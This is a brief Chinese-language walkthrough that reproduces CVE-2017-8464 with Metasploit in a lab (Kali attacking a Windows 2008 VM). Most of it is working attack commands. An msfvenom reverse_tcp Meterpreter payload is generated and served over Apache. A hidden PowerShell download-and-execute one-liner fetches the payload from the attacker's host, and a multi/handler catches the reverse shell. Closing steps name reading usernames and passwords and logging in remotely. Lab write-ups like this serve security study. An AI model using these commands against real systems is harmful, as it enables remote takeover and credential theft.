MSF之CVE-2017-8464远程命令执行漏洞复现
准备
实验准备环境:
被攻击机:虚拟机win2008x64位系统,其IP为:192.168.1.107
攻击机:kali系统,其IP为:192.168.1.111
攻击工具:kali自带的msfconsole工具
漏洞利用
在kali终端中输入msfconsole
cd 下载/
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.111 lport=4444 -f psh-reflection>hack.ps1
- 将文件拷贝进入/var/www/html
mv hack.ps1 /var/www/html- 开启apache
service apache2 start- 访问Apache的hacjk.ps1,显示文件页面
- 在靶机上创建powershell远程快捷方式
powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.111/hack.ps1’);test.ps1”
名称为powershell.exe
- 在kali下,打开msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set LHOST 192.168.1.111
exploit
查看用户
读取用户名和密码
远程登录